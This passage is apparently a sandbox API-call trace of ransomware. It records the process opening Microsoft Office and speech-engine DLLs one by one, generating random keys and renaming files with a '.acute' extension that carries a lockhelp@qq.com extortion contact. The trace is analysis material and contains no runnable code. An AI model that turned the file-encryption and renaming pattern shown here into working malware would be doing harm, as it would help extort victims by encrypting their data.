files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.195] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=47976) returned 1 [0274.195] CloseHandle (hObject=0x30c) returned 1 [0274.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0274.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.196] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.196] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=184648) returned 1 [0274.196] CloseHandle (hObject=0x30c) returned 1 [0274.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0274.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.197] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.197] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=16208) returned 1 [0274.197] CloseHandle (hObject=0x30c) returned 1 [0274.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0274.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.197] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.198] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=21840) returned 1 [0274.198] CloseHandle (hObject=0x310) returned 1 [0274.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0274.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.198] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.199] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=10632) returned 1 [0274.199] CloseHandle (hObject=0x310) returned 1 [0274.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll")) returned 0x20 [0274.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.199] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.199] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=44936) returned 1 [0274.199] CloseHandle (hObject=0x310) returned 1 [0274.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll")) returned 0x20 [0274.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.200] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.200] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2522488) returned 1 [0274.200] CloseHandle (hObject=0x310) returned 1 [0274.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll")) returned 0x20 [0274.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll")) returned 0 [0274.200] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.201] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1363344) returned 1 [0274.201] CloseHandle (hObject=0x310) returned 1 [0274.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll")) returned 0x20 [0274.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.201] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.202] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=373760) returned 1 [0274.202] CloseHandle (hObject=0x310) returned 1 [0274.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll")) returned 0x20 [0274.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.202] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.203] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2560) returned 1 [0274.203] CloseHandle (hObject=0x310) returned 1 [0274.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui")) returned 0x20 [0274.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.203] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.204] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=41472) returned 1 [0274.204] CloseHandle (hObject=0x310) returned 1 [0274.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll")) returned 0x20 [0274.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.204] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.204] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=181248) returned 1 [0274.204] CloseHandle (hObject=0x310) returned 1 [0274.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll")) returned 0x20 [0274.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.204] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.205] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=9728) returned 1 [0274.205] CloseHandle (hObject=0x310) returned 1 [0274.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll")) returned 0x20 [0274.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.205] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.206] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=17408) returned 1 [0274.206] CloseHandle (hObject=0x30c) returned 1 [0274.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0274.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.206] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.207] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8192) returned 1 [0274.207] CloseHandle (hObject=0x30c) returned 1 [0274.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0274.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.207] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.208] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1499136) returned 1 [0274.208] CloseHandle (hObject=0x30c) returned 1 [0274.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0274.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.208] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.208] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=69632) returned 1 [0274.208] CloseHandle (hObject=0x30c) returned 1 [0274.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0274.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: 